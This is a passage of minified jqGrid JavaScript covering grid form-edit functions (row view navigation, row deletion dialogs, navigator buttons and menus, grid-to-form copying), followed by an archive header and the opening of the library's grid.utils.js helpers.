e[0]=parseInt(e[0],10),-1!==e[0]&&e[1][e[0]+1]&&(Z(r).triggerHandler("jqGridViewRowClickPgButtons",["next",Z("#"+d),e[1][e[0]]]),Z.jgrid.isFunction(T.onclickPgButtons)&&T.onclickPgButtons.call(r,"next",Z("#"+d),e[1][e[0]]),S(e[1][e[0]+1],r),r.p.multiselect&&$[r.p.id].viewselected||Z(r).jqGrid("setSelection",e[1][e[0]+1]),Z(r).triggerHandler("jqGridViewRowAfterClickPgButtons",["next",Z("#"+d),e[1][e[0]+1]]),Z.jgrid.isFunction(T.afterclickPgButtons)&&T.afterclickPgButtons.call(r,"next",Z("#"+d),e[1][e[0]+1]),E(e[0]+1,e)),P(),!1}),Z("#pData","#"+n+"_2").click(function(){Z("#FormError","#"+n).hide();var e=A();return-1!==e[0]&&e[1][e[0]-1]&&(Z(r).triggerHandler("jqGridViewRowClickPgButtons",["prev",Z("#"+d),e[1][e[0]]]),Z.jgrid.isFunction(T.onclickPgButtons)&&T.onclickPgButtons.call(r,"prev",Z("#"+d),e[1][e[0]]),S(e[1][e[0]-1],r),r.p.multiselect&&$[r.p.id].viewselected||Z(r).jqGrid("setSelection",e[1][e[0]-1]),Z(r).triggerHandler("jqGridViewRowAfterClickPgButtons",["prev",Z("#"+d),e[1][e[0]-1]]),Z.jgrid.isFunction(T.afterclickPgButtons)&&T.afterclickPgButtons.call(r,"prev",Z("#"+d),e[1][e[0]-1]),E(e[0]-1,e)),P(),!1}),A());E(c[0],c),this.refreshViewForm=function(e,t){!(t=void 0===t?!1:t)&&R!==e||S(e,this),t&&(R=e)}}}function P(){!0!==$[r.p.id].closeOnEscape&&!0!==$[r.p.id].navkeys[0]||setTimeout(function(){Z(".ui-jqdialog-titlebar-close","#"+Z.jgrid.jqID(t.modalhead)).attr("tabindex","-1").focus()},0)}function S(e,t){var i,a,d,r=0,o=Z(t).jqGrid("getInd",e,!0);o&&(Z("td",o).each(function(e){i=t.p.colModel[e].name,a=(!t.p.colModel[e].editrules||!0!==t.p.colModel[e].editrules.edithidden)&&!0===t.p.colModel[e].hidden,"cb"!==i&&"subgrid"!==i&&"rn"!==i&&"sc"!==i&&(d=i===t.p.ExpandColumn&&!0===t.p.treeGrid?Z(this).text():Z(this).html(),i=Z.jgrid.jqID("v_"+i),Z("#"+i+" span","#"+n).html(d),a&&Z("#"+i,"#"+n).parents("tr").first().hide(),r++)}),0<r)&&Z("#id_g","#"+n).val(e)}function E(e,t){var i=t[1].length-1;0===e?Z("#pData","#"+n+"_2").addClass(N.disabled):void 0!==t[1][e-1]&&Z("#"+Z.jgrid.jqID(t[1][e-1])).hasClass(N.disabled)?Z("#pData",n+"_2").addClass(N.disabled):Z("#pData","#"+n+"_2").removeClass(N.disabled),e===i?Z("#nData","#"+n+"_2").addClass(N.disabled):void 0!==t[1][e+1]&&Z("#"+Z.jgrid.jqID(t[1][e+1])).hasClass(N.disabled)?Z("#nData",n+"_2").addClass(N.disabled):Z("#nData","#"+n+"_2").removeClass(N.disabled)}function A(){var e=Z(r).jqGrid("getDataIDs"),t=Z("#id_g","#"+n).val();if(r.p.multiselect&&$[r.p.id].viewselected){for(var i=[],a=0,d=e.length;a<d;a++)-1!==Z.inArray(e[a],r.p.selarrrow)&&i.push(e[a]);return[Z.inArray(t,i),i]}return[Z.inArray(t,e),e]}})},delGridRow:function(h,m){var e=Z.jgrid.getRegional(this[0],"del"),t=this[0].p.styleUI,f=Z.jgrid.styleUI[t].formedit,g=Z.jgrid.styleUI[t].common;return m=Z.extend(!0,{top:0,left:0,width:300,height:"auto",dataheight:"auto",modal:!1,overlay:30,drag:!0,resize:!0,url:"",mtype:"POST",reloadAfterSubmit:!0,beforeShowForm:null,beforeInitData:null,afterShowForm:null,beforeSubmit:null,onclickSubmit:null,afterSubmit:null,jqModal:!0,closeOnEscape:!1,delData:{},delicon:[],cancelicon:[],onClose:null,ajaxDelOptions:{},processing:!1,serializeDelData:null,useDataProxy:!1},e,m||{}),$[Z(this)[0].p.id]=m,this.each(function(){var n=this;if(n.grid&&h){var s,a,d,l=n.p.id,c={},e=!0,p="DelTbl_"+Z.jgrid.jqID(l),i="DelTbl_"+l,u={themodal:"delmod"+l,modalhead:"delhd"+l,modalcontent:"delcnt"+l,scrollelm:p};if($[n.p.id].styleUI=n.p.styleUI||"jQueryUI",Array.isArray(h)&&(h=h.join()),void 0!==Z("#"+Z.jgrid.jqID(u.themodal))[0]){if(!1===(e=(e=void 0===(e=Z(n).triggerHandler("jqGridDelRowBeforeInitData",[Z("#"+p)]))?!0:e)&&Z.jgrid.isFunction($[n.p.id].beforeInitData)?$[n.p.id].beforeInitData.call(n,Z("#"+p)):e))return;Z("#DelData>td","#"+p).text(h),Z("#DelError","#"+p).hide(),!0===$[n.p.id].processing&&($[n.p.id].processing=!1,Z("#dData","#"+p).removeClass(g.active))}else{var t=isNaN($[n.p.id].dataheight)?$[n.p.id].dataheight:$[n.p.id].dataheight+"px",r=isNaN(m.datawidth)?m.datawidth:m.datawidth+"px",r="<div id='"+i+"' class='formdata' style='width:"+r+";overflow:auto;position:relative;height:"+t+";'>",t=(r=(r=(r=r+"<table class='DelTable'><tbody>"+("<tr id='DelError' style='display:none'><td class='"+g.error+"'></td></tr>"))+("<tr id='DelData' style='display:none'><td >"+h+"</td></tr>"))+('<tr><td class="delmsg" style="white-space:pre;">'+$[n.p.id].msg+"</td></tr><tr><td > </td></tr>")+"</tbody></table></div>","<a id='dData' class='fm-button "+g.button+"'>"+m.bSubmit+"</a>"),o="<a id='eData' class='fm-button "+g.button+"'>"+m.bCancel+"</a>",t=Array.isArray($[n.p.id].buttons)?Z.jgrid.buildButtons($[n.p.id].buttons,t+o,g):t+o,o=Z(".ui-jqgrid").css("font-size")||"11px";if(r+="<table class='EditTable ui-common-table' id='"+p+"_2'><tbody><tr><td><hr class='"+g.content+"' style='margin:1px'/></td></tr><tr><td class='DelButton EditButton'>"+t+"</td></tr></tbody></table>",m.gbox="#gbox_"+Z.jgrid.jqID(l),Z.jgrid.createModal(u,r,$[n.p.id],"#gview_"+Z.jgrid.jqID(n.p.id),Z("#gview_"+Z.jgrid.jqID(n.p.id))[0],null,{"font-size":o}),Z(".fm-button","#"+p+"_2").hover(function(){Z(this).addClass(g.hover)},function(){Z(this).removeClass(g.hover)}),m.delicon=Z.extend([!0,"left",f.icon_del],$[n.p.id].delicon),m.cancelicon=Z.extend([!0,"left",f.icon_cancel],$[n.p.id].cancelicon),!0===m.delicon[0]&&Z("#dData","#"+p+"_2").addClass("right"===m.delicon[1]?"fm-button-icon-right":"fm-button-icon-left").append("<span class='"+g.icon_base+" "+m.delicon[2]+"'></span>"),!0===m.cancelicon[0]&&Z("#eData","#"+p+"_2").addClass("right"===m.cancelicon[1]?"fm-button-icon-right":"fm-button-icon-left").append("<span class='"+g.icon_base+" "+m.cancelicon[2]+"'></span>"),Z("#dData","#"+p+"_2").click(function(){var e,r=[!0,""],o=Z("#DelData>td","#"+p).text();if(c={},void 0===(c=Z(n).triggerHandler("jqGridDelRowClickSubmit",[$[n.p.id],o]))&&Z.jgrid.isFunction($[n.p.id].onclickSubmit)&&(c=$[n.p.id].onclickSubmit.call(n,$[n.p.id],o)||{}),(r=(r=void 0===(r=Z(n).triggerHandler("jqGridDelRowBeforeSubmit",[o]))?[!0,"",""]:r)[0]&&Z.jgrid.isFunction($[n.p.id].beforeSubmit)?$[n.p.id].beforeSubmit.call(n,o):r)[0]&&!$[n.p.id].processing){if($[n.p.id].processing=!0,a=n.p.prmNames,s=Z.extend({},$[n.p.id].delData,c),d=a.oper,s[d]=a.deloper,d=a.id,!(o=String(o).split(",")).length)return!1;for(e in o)o.hasOwnProperty(e)&&(o[e]=Z.jgrid.stripPref(n.p.idPrefix,o[e]));s[d]=o.join(),Z(this).addClass(g.active);var t,i=Z.extend({url:$[n.p.id].url||Z(n).jqGrid("getGridParam","editurl"),type:$[n.p.id].mtype,data:Z.jgrid.isFunction($[n.p.id].serializeDelData)?$[n.p.id].serializeDelData.call(n,s):s,success:function(e,t,i){var a,d;if(Z("#dData","#"+p+"_2").removeClass(g.active),300<=i.status&&304!==i.status?(r[0]=!1,r[1]=Z(n).triggerHandler("jqGridDelRowErrorTextFormat",[i]),Z.jgrid.isFunction($[n.p.id].errorTextFormat)&&(r[1]=$[n.p.id].errorTextFormat.call(n,i)),void 0===r[1]&&(r[1]=t+" Status: '"+i.statusText+"'. Error code: "+i.status)):(r=void 0===(r=Z(n).triggerHandler("jqGridDelRowAfterSubmit",[i,s]))?[!0,"",""]:r)[0]&&Z.jgrid.isFunction($[n.p.id].afterSubmit)&&(r=$[n.p.id].afterSubmit.call(n,i,s)),!1===r[0])Z("#DelError>td","#"+p).html(r[1]),Z("#DelError","#"+p).show();else{if($[n.p.id].reloadAfterSubmit&&"local"!==n.p.datatype)Z(n).trigger("reloadGrid");else{if(!0===n.p.treeGrid)try{Z(n).jqGrid("delTreeNode",n.p.idPrefix+o[0],!0)}catch(e){}else for(a=0;a<o.length;a++)Z(n).jqGrid("delRowData",n.p.idPrefix+o[a]);n.p.selrow=null,n.p.selarrrow=[]}(Z.jgrid.isFunction($[n.p.id].afterComplete)||Object.prototype.hasOwnProperty.call(Z._data(Z(n)[0],"events"),"jqGridDelRowAfterComplete"))&&(d=i,setTimeout(function(){Z(n).triggerHandler("jqGridDelRowAfterComplete",[d,s]);try{$[n.p.id].afterComplete.call(n,d,s)}catch(e){}},500))}$[n.p.id].processing=!1,r[0]&&Z.jgrid.hideModal("#"+Z.jgrid.jqID(u.themodal),{gb:"#gbox_"+Z.jgrid.jqID(l),jqm:m.jqModal,onClose:$[n.p.id].onClose})}},Z.jgrid.ajaxOptions,$[n.p.id].ajaxDelOptions);i.url||$[n.p.id].useDataProxy||(Z.jgrid.isFunction(n.p.dataProxy)?$[n.p.id].useDataProxy=!0:(r[0]=!1,r[1]+=" "+Z.jgrid.getRegional(n,"errors.nourl"))),r[0]&&($[n.p.id].useDataProxy?!1===(t=void 0===(t=n.p.dataProxy.call(n,i,"del_"+n.p.id))?[!0,""]:t)[0]?(r[0]=!1,r[1]=t[1]||"Error deleting the selected row!"):Z.jgrid.hideModal("#"+Z.jgrid.jqID(u.themodal),{gb:"#gbox_"+Z.jgrid.jqID(l),jqm:m.jqModal,onClose:$[n.p.id].onClose}):"clientArray"===i.url?(s=i.data,i.success({status:200,statusText:""},"")):"storage"===i.url?Z(n).jqGrid("deleteStorageRecord",o).then(function(e){"complete"===e.type&&i.success(o,"",{status:200,statusText:""})}).catch(function(e){Z.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}):Z.ajax(i))}return!1===r[0]&&(Z("#DelError>td","#"+p).html(r[1]),Z("#DelError","#"+p).show()),!1}),Z("#eData","#"+p+"_2").click(function(){return Z.jgrid.hideModal("#"+Z.jgrid.jqID(u.themodal),{gb:"#gbox_"+Z.jgrid.jqID(l),jqm:$[n.p.id].jqModal,onClose:$[n.p.id].onClose}),!1}),Z("#"+p+"_2").find("[data-index]").each(function(){var t=parseInt(Z(this).attr("data-index"),10);0<=t&&m.buttons[t].hasOwnProperty("click")&&Z(this).on("click",function(e){m.buttons[t].click.call(n,Z("#"+i)[0],$[n.p.id],e)})}),!1===(e=(e=void 0===(e=Z(n).triggerHandler("jqGridDelRowBeforeInitData",[Z("#"+p)]))?!0:e)&&Z.jgrid.isFunction($[n.p.id].beforeInitData)?$[n.p.id].beforeInitData.call(n,Z("#"+p)):e))return}Z(n).triggerHandler("jqGridDelRowBeforeShowForm",[Z("#"+p)]),Z.jgrid.isFunction($[n.p.id].beforeShowForm)&&$[n.p.id].beforeShowForm.call(n,Z("#"+p)),Z.jgrid.viewModal("#"+Z.jgrid.jqID(u.themodal),{gbox:"#gbox_"+Z.jgrid.jqID(l),jqm:$[n.p.id].jqModal,overlay:$[n.p.id].overlay,modal:$[n.p.id].modal}),Z(n).triggerHandler("jqGridDelRowAfterShowForm",[Z("#"+p)]),Z.jgrid.isFunction($[n.p.id].afterShowForm)&&$[n.p.id].afterShowForm.call(n,Z("#"+p)),!0===$[n.p.id].closeOnEscape&&setTimeout(function(){Z(".ui-jqdialog-titlebar-close","#"+Z.jgrid.jqID(u.modalhead)).attr("tabindex","-1").focus()},0)}})},navGrid:function(m,f,g,j,v,b,w){var D=Z.jgrid.getRegional(this[0],"nav"),y=this[0].p.styleUI,e=Z.jgrid.styleUI[y].navigator,q=Z.jgrid.styleUI[y].common;return f=Z.extend({edit:!0,editicon:e.icon_edit_nav,add:!0,addicon:e.icon_add_nav,del:!0,delicon:e.icon_del_nav,search:!0,searchicon:e.icon_search_nav,refresh:!0,refreshicon:e.icon_refresh_nav,refreshstate:"firstpage",view:!1,viewicon:e.icon_view_nav,position:"left",closeOnEscape:!0,beforeRefresh:null,afterRefresh:null,cloneToTop:!1,alertwidth:200,alertheight:"auto",alerttop:null,alertleft:null,alertzIndex:null,dropmenu:!1,navButtonText:""},D,f||{}),this.each(function(){if(!this.p.navGrid){var t,i=this;if(i.grid&&"string"==typeof m){Z(i).data("navGrid")||Z(i).data("navGrid",f),t=Z(i).data("navGrid"),(t=i.p.force_regional?Z.extend(t,D):t).alerttop||t.alertleft||((e=Z.jgrid.findPos(this))[0]=Math.round(e[0]),e[1]=Math.round(e[1]),0===(a=isNaN(this.p.height)?Z(i.grid.bDiv).height():this.p.height)&&(a=200),t.alertleft=e[0]+this.p.width/2-parseInt(t.alertwidth,10)/2,t.alerttop=e[1]+a/2-25);var e,a,d,r=function(){Z.jgrid.info_dialog(t.alertcap,"<div>"+t.alerttext+"</div><span tabindex='0'><span tabindex='-1' id='jqg_alrt'></span></span>","",{jqModal:!0,drag:!0,resize:!0,caption:t.alertcap,width:t.alertwidth,height:t.alertheight,top:t.alerttop,left:t.alertleft,closeOnEscape:t.closeOnEscape,styleUI:i.p.styleUI,zIndex:t.alertzIndex})},o=1,n=function(){Z(this).hasClass(q.disabled)||Z(this).addClass(q.hover)},s=function(){Z(this).removeClass(q.hover)};for(t.cloneToTop&&i.p.toppager&&(o=2),d=0;d<o;d++){var l,c,p,u=Z("<table class='ui-pg-table navtable ui-common-table'><tbody><tr></tr></tbody></table>"),h="<td class='ui-pg-button "+q.disabled+"' style='width:4px;'><span class='ui-separator'></span></td>";0===d?(0===(c=m).indexOf("#")&&(c=c.substring(1),c="#"+Z.jgrid.jqID(c)),p=i.p.id,c===i.p.toppager&&(p+="_top",o=1)):(c=i.p.toppager,p=i.p.id+"_top"),"rtl"===i.p.direction&&Z(u).attr("dir","rtl").css("float","right"),j=j||{},t.add&&(l=Z("<td class='ui-pg-button "+q.cornerall+"'></td>"),Z(l).append("<div class='ui-pg-div'><span class='"+q.icon_base+" "+t.addicon+"'></span>"+t.addtext+"</div>"),Z("tr",u).append(l),Z(l,u).attr({title:t.addtitle||"",id:j.id||"add_"+p}).click(function(){return Z(this).hasClass(q.disabled)||(Z.jgrid.setSelNavIndex(i,this),Z.jgrid.isFunction(t.addfunc)?t.addfunc.call(i):Z(i).jqGrid("editGridRow","new",j)),!1}).hover(n,s),l=null),g=g||{},t.edit&&(l=Z("<td class='ui-pg-button "+q.cornerall+"'></td>"),Z(l).append("<div class='ui-pg-div'><span class='"+q.icon_base+" "+t.editicon+"'></span>"+t.edittext+"</div>"),Z("tr",u).append(l),Z(l,u).attr({title:t.edittitle||"",id:g.id||"edit_"+p}).click(function(){var e;return Z(this).hasClass(q.disabled)||((e=i.p.selrow)?(Z.jgrid.setSelNavIndex(i,this),Z.jgrid.isFunction(t.editfunc)?t.editfunc.call(i,e):Z(i).jqGrid("editGridRow",e,g)):(r(),Z("#jqg_alrt").focus())),!1}).hover(n,s),l=null),w=w||{},t.view&&(l=Z("<td class='ui-pg-button "+q.cornerall+"'></td>"),Z(l).append("<div class='ui-pg-div'><span class='"+q.icon_base+" "+t.viewicon+"'></span>"+t.viewtext+"</div>"),Z("tr",u).append(l),Z(l,u).attr({title:t.viewtitle||"",id:w.id||"view_"+p}).click(function(){var e;return Z(this).hasClass(q.disabled)||((e=i.p.selrow)?(Z.jgrid.setSelNavIndex(i,this),Z.jgrid.isFunction(t.viewfunc)?t.viewfunc.call(i,e):Z(i).jqGrid("viewGridRow",e,w)):(r(),Z("#jqg_alrt").focus())),!1}).hover(n,s),l=null),v=v||{},t.del&&(l=Z("<td class='ui-pg-button "+q.cornerall+"'></td>"),Z(l).append("<div class='ui-pg-div'><span class='"+q.icon_base+" "+t.delicon+"'></span>"+t.deltext+"</div>"),Z("tr",u).append(l),Z(l,u).attr({title:t.deltitle||"",id:v.id||"del_"+p}).click(function(){var e;return Z(this).hasClass(q.disabled)||(i.p.multiselect?0===(e=i.p.selarrrow).length&&(e=null):e=i.p.selrow,e?(Z.jgrid.setSelNavIndex(i,this),Z.jgrid.isFunction(t.delfunc)?t.delfunc.call(i,e):Z(i).jqGrid("delGridRow",e,v)):r()),!1}).hover(n,s),l=null),(t.add||t.edit||t.del||t.view)&&Z("tr",u).append(h),b=b||{},t.search&&(l=Z("<td class='ui-pg-button "+q.cornerall+"'></td>"),Z(l).append("<div class='ui-pg-div'><span class='"+q.icon_base+" "+t.searchicon+"'></span>"+t.searchtext+"</div>"),Z("tr",u).append(l),Z(l,u).attr({title:t.searchtitle||"",id:b.id||"search_"+p}).click(function(){return Z(this).hasClass(q.disabled)||(Z.jgrid.setSelNavIndex(i,this),Z.jgrid.isFunction(t.searchfunc)?t.searchfunc.call(i,b):Z(i).jqGrid("searchGrid",b)),!1}).hover(n,s),b.showOnLoad&&!0===b.showOnLoad&&Z(l,u).click(),l=null),t.refresh&&(l=Z("<td class='ui-pg-button "+q.cornerall+"'></td>"),Z(l).append("<div class='ui-pg-div'><span class='"+q.icon_base+" "+t.refreshicon+"'></span>"+t.refreshtext+"</div>"),Z("tr",u).append(l),Z(l,u).attr({title:t.refreshtitle||"",id:"refresh_"+p}).click(function(){if(!Z(this).hasClass(q.disabled)){Z.jgrid.isFunction(t.beforeRefresh)&&t.beforeRefresh.call(i),i.p.search=!1,i.p.resetsearch=!0;try{if("currentfilter"!==t.refreshstate){var e=i.p.id;i.p.postData.filters="";try{Z("#fbox_"+Z.jgrid.jqID(e)).jqFilter("resetFilter")}catch(e){}Z.jgrid.isFunction(i.clearToolbar)&&i.clearToolbar.call(i,!1)}}catch(e){}switch(t.refreshstate){case"firstpage":Z(i).trigger("reloadGrid",[{page:1}]);break;case"current":case"currentfilter":Z(i).trigger("reloadGrid",[{current:!0}])}Z.jgrid.isFunction(t.afterRefresh)&&t.afterRefresh.call(i),Z.jgrid.setSelNavIndex(i,this)}return!1}).hover(n,s),l=null),h=Z(".ui-jqgrid").css("font-size")||"11px",Z("body").append("<div id='testpg2' class='ui-jqgrid "+Z.jgrid.styleUI[y].base.entrieBox+"' style='font-size:"+h+";visibility:hidden;' ></div>"),h=Z(u).clone().appendTo("#testpg2").width(),Z("#testpg2").remove(),i.p._nvtd&&(t.dropmenu?(u=null,Z(i).jqGrid("_buildNavMenu",c,p,Z.extend(f,{ainfo:r}),g,j,v,b,w)):h>i.p._nvtd[0]?(i.p.responsive?(u=null,Z(i).jqGrid("_buildNavMenu",c,p,Z.extend(f,{ainfo:r}),g,j,v,b,w)):Z(c+"_"+t.position,c).append(u).width(h),i.p._nvtd[0]=h):Z(c+"_"+t.position,c).append(u),i.p._nvtd[1]=h),i.p.navGrid=!0}i.p.storeNavOptions&&(i.p.navOptions=t,i.p.editOptions=g,i.p.addOptions=j,i.p.delOptions=v,i.p.searchOptions=b,i.p.viewOptions=w,i.p.navButtons=[])}}})},navButtonAdd:function(s,l){var c=this[0].p.styleUI,e=Z.jgrid.styleUI[c].navigator;return l=Z.extend({caption:"newButton",title:"",buttonicon:e.icon_newbutton_nav,onClickButton:null,position:"last",cursor:"pointer",internal:!1},l||{}),this.each(function(){var t,i,e,a,d,r,o,n;this.grid&&"string"==typeof s&&(0===s.indexOf("#")&&(s=s.substring(1)),s="#"+Z.jgrid.jqID(s),n=Z(".navtable",s)[0],i=Z.jgrid.styleUI[c].common.disabled,e=Z.jgrid.styleUI[c].common.hover,a=Z.jgrid.styleUI[c].common.cornerall,r=Z.jgrid.styleUI[c].common.icon_base,(t=this).p.storeNavOptions&&!l.internal&&t.p.navButtons.push([s,l]),n?l.id&&void 0!==Z("#"+Z.jgrid.jqID(l.id),n)[0]||(o=Z("<td></td>"),"NONE"===l.buttonicon.toString().toUpperCase()?Z(o).addClass("ui-pg-button "+a).append("<div class='ui-pg-div'>"+l.caption+"</div>"):Z(o).addClass("ui-pg-button "+a).append("<div class='ui-pg-div'><span class='"+r+" "+l.buttonicon+"'></span>"+l.caption+"</div>"),l.id&&Z(o).attr("id",l.id),"first"!==l.position||0===n.rows[0].cells.length?Z("tr",n).append(o):Z("tr td",n).eq(0).before(o),Z(o,n).attr("title",l.title||"").click(function(e){return Z(this).hasClass(i)||(Z.jgrid.setSelNavIndex(t,this),Z.jgrid.isFunction(l.onClickButton)&&l.onClickButton.call(t,e)),!1}).hover(function(){Z(this).hasClass(i)||Z(this).addClass(e)},function(){Z(this).removeClass(e)})):(n=Z(".dropdownmenu",s)[0])&&(d=Z(n).val(),r=l.id||Z.jgrid.randId(),o=Z('<li class="ui-menu-item" role="presentation"><a class="'+a+' g-menu-item" tabindex="0" role="menuitem" id="'+r+'">'+(l.caption||l.title)+"</a></li>"),d)&&("first"===l.position?Z("#"+d).prepend(o):Z("#"+d).append(o),Z(o).on("click",function(e){return Z(this).hasClass(i)||(Z("#"+d).hide(),Z.jgrid.isFunction(l.onClickButton)&&l.onClickButton.call(t,e)),!1}).find("a").hover(function(){Z(this).hasClass(i)||Z(this).addClass(e)},function(){Z(this).removeClass(e)})))})},navSeparatorAdd:function(i,a){var e=this[0].p.styleUI,d=Z.jgrid.styleUI[e].common;return a=Z.extend({sepclass:"ui-separator",sepcontent:"",position:"last"},a||{}),this.each(function(){var e,t;this.grid&&("string"==typeof i&&0!==i.indexOf("#")&&(i="#"+Z.jgrid.jqID(i)),t=Z(".navtable",i)[0],this.p.storeNavOptions&&this.p.navButtons.push([i,a]),t?(e="<td class='ui-pg-button "+d.disabled+"' style='width:4px;'><span class='"+a.sepclass+"'></span>"+a.sepcontent+"</td>","first"!==a.position||0===t.rows[0].cells.length?Z("tr",t).append(e):Z("tr td",t).eq(0).before(e)):(t=Z(".dropdownmenu",i)[0],e="<li class='ui-menu-item "+d.disabled+"' style='width:100%' role='presentation'><hr class='ui-separator-li'></li>",t&&(t=Z(t).val())&&("first"===a.position?Z("#"+t).prepend(e):Z("#"+t).append(e))))})},_buildNavMenu:function(l,c,p,u,h,m,f,g){return this.each(function(){var e,t,i,a=this,d=Z.jgrid.getRegional(a,"nav"),r=a.p.styleUI,o=Z.jgrid.styleUI[r].filter,n=Z.jgrid.styleUI[r].common,s="form_menu_"+Z.jgrid.randId(),r=p.navButtonText||d.selectcaption||"Actions",d="<button class='dropdownmenu "+n.button+"' value='"+s+"'>"+r+"</button>";Z(l+"_"+p.position,l).append(d);r=Z(".ui-jqgrid").css("font-size")||"11px",i=Z('<ul id="'+s+'" class="ui-nav-menu modal-content ui-menu column-menu jqgrid-column-menu '+n.shadow+'" role="menu" tabindex="0" style="display:none;font-size:'+r+'"></ul>'),p.add&&(e=(h=h||{}).id||"add_"+c,t=Z('<li class="ui-menu-item" role="presentation"><a class="'+n.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(p.addtext.trim()||p.addtitle)+"</a></li>").click(function(){return Z(this).hasClass(n.disabled)||(Z.jgrid.isFunction(p.addfunc)?p.addfunc.call(a):Z(a).jqGrid("editGridRow","new",h),Z(i).hide()),!1}),Z(i).append(t)),p.edit&&(e=(u=u||{}).id||"edit_"+c,t=Z('<li class="ui-menu-item" role="presentation"><a class="'+n.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(p.edittext.trim()||p.edittitle)+"</a></li>").click(function(){var e;return Z(this).hasClass(n.disabled)||((e=a.p.selrow)?Z.jgrid.isFunction(p.editfunc)?p.editfunc.call(a,e):Z(a).jqGrid("editGridRow",e,u):(p.ainfo(),Z("#jqg_alrt").focus()),Z(i).hide()),!1}),Z(i).append(t)),p.view&&(e=(g=g||{}).id||"view_"+c,t=Z('<li class="ui-menu-item" role="presentation"><a class="'+n.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(p.viewtext.trim()||p.viewtitle)+"</a></li>").click(function(){var e;return Z(this).hasClass(n.disabled)||((e=a.p.selrow)?Z.jgrid.isFunction(p.editfunc)?p.viewfunc.call(a,e):Z(a).jqGrid("viewGridRow",e,g):(p.ainfo(),Z("#jqg_alrt").focus()),Z(i).hide()),!1}),Z(i).append(t)),p.del&&(e=(m=m||{}).id||"del_"+c,t=Z('<li class="ui-menu-item" role="presentation"><a class="'+n.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(p.deltext.trim()||p.deltitle)+"</a></li>").click(function(){var e;return Z(this).hasClass(n.disabled)||(a.p.multiselect?0===(e=a.p.selarrrow).length&&(e=null):e=a.p.selrow,e?Z.jgrid.isFunction(p.delfunc)?p.delfunc.call(a,e):Z(a).jqGrid("delGridRow",e,m):p.ainfo(),Z(i).hide()),!1}),Z(i).append(t)),(p.add||p.edit||p.del||p.view)&&Z(i).append("<li class='ui-menu-item "+n.disabled+"' style='width:100%' role='presentation'><hr class='ui-separator-li'></li>"),p.search&&(e=(f=f||{}).id||"search_"+c,t=Z('<li class="ui-menu-item" role="presentation"><a class="'+n.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(p.searchtext.trim()||p.searchtitle)+"</a></li>").click(function(){return Z(this).hasClass(n.disabled)||(Z.jgrid.isFunction(p.searchfunc)?p.searchfunc.call(a,f):Z(a).jqGrid("searchGrid",f),Z(i).hide()),!1}),Z(i).append(t),f.showOnLoad)&&!0===f.showOnLoad&&Z(t).click(),p.refresh&&(e=f.id||"search_"+c,t=Z('<li class="ui-menu-item" role="presentation"><a class="'+n.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(p.refreshtext||p.refreshtitle)+"</a></li>").click(function(){if(!Z(this).hasClass(n.disabled)){Z.jgrid.isFunction(p.beforeRefresh)&&p.beforeRefresh.call(a),a.p.search=!1,a.p.resetsearch=!0;try{if("currentfilter"!==p.refreshstate){var e=a.p.id;a.p.postData.filters="";try{Z("#fbox_"+Z.jgrid.jqID(e)).jqFilter("resetFilter")}catch(e){}Z.jgrid.isFunction(a.clearToolbar)&&a.clearToolbar.call(a,!1)}}catch(e){}switch(p.refreshstate){case"firstpage":Z(a).trigger("reloadGrid",[{page:1}]);break;case"current":case"currentfilter":Z(a).trigger("reloadGrid",[{current:!0}])}Z.jgrid.isFunction(p.afterRefresh)&&p.afterRefresh.call(a),Z(i).hide()}return!1}),Z(i).append(t)),Z(i).hide(),Z("body").append(i),Z("#"+s).addClass("ui-menu "+o.menu_widget),Z("#"+s+" > li > a").hover(function(){Z(this).addClass(n.hover)},function(){Z(this).removeClass(n.hover)}),Z(".dropdownmenu",l+"_"+p.position).on("click",function(e){var t=Z(this).offset(),i=t.left,t=parseInt(t.top),a=Z(this).val();Z("#"+a).show().css({top:t-(Z("#"+a).height()+35)+"px",left:i+"px"}),e.stopPropagation()}),Z("body").on("click",function(e){Z(e.target).hasClass("dropdownmenu")||Z("#"+s).hide()})})},GridToForm:function(a,d){return this.each(function(){var e,t=this;if(t.grid){var i=Z(t).jqGrid("getRowData",a);if(i)for(e in i)i.hasOwnProperty(e)&&(Z("[name="+Z.jgrid.jqID(e)+"]",d).is("input:radio")||Z("[name="+Z.jgrid.jqID(e)+"]",d).is("input:checkbox")?Z("[name="+Z.jgrid.jqID(e)+"]",d).each(function(){Z(this).val()==i[e]?Z(this)[t.p.useProp?"prop":"attr"]("checked",!0):Z(this)[t.p.useProp?"prop":"attr"]("checked",!1)}):Z("[name="+Z.jgrid.jqID(e)+"]",d).val(i[e]))}})},FormToGrid:function(t,a,d,r){return this.each(function(){var e,i;this.grid&&(d=d||"set",r=r||"first",e=Z(a).serializeArray(),i={},Z.each(e,function(e,t){i[t.name]=t.value}),"add"===d?Z(this).jqGrid("addRowData",t,i,r):"set"===d&&Z(this).jqGrid("setRowData",t,i))})}})});minified/grid.utils.js000064400000007770151677266200011001 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)}(function(a){"use strict";a.extend(a.jgrid,{isJSON:function(e){"string"!=typeof e&&(e=JSON.stringify(e));try{return JSON.parse(e),!0}catch(e){return!1}},stringify:function(e){return JSON.stringify(e,function(e,n){return"function"==typeof n?n.toString():n})},parseFunc:function(e){return JSON.parse(e,function(e,n){var t;return"string"==typeof n&&-1!==n.indexOf("function")&&((t=n.split(" "))[0]=a.jgrid.trim(t[0].toLowerCase()),0===t[0].indexOf("function"))&&"}"===n.trim().slice(-1)?a.jgrid.runCode(n):n})},encode:function(e){return String(e).replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""")},jsonToXML:function(e,n){var d=a.extend({xmlDecl:'<?xml version="1.0" encoding="UTF-8" ?>\n',attr_prefix:"-",encode:!0},n||{}),l=this,u=function(e,n){return"#text"===e?d.encode?l.encode(n):n:"function"==typeof n?"<"+e+"><![CDATA["+n+"]]></"+e+">\n":""===n?"<"+e+">__EMPTY_STRING_</"+e+">\n":"<"+e+">"+(d.encode?l.encode(n):n)+"</"+e+">\n"},f=function(e,n){for(var t=[],r=0;r<n.length;r++){var o=n[r];void 0===o||null==o?t[t.length]="<"+e+" />":"object"==typeof 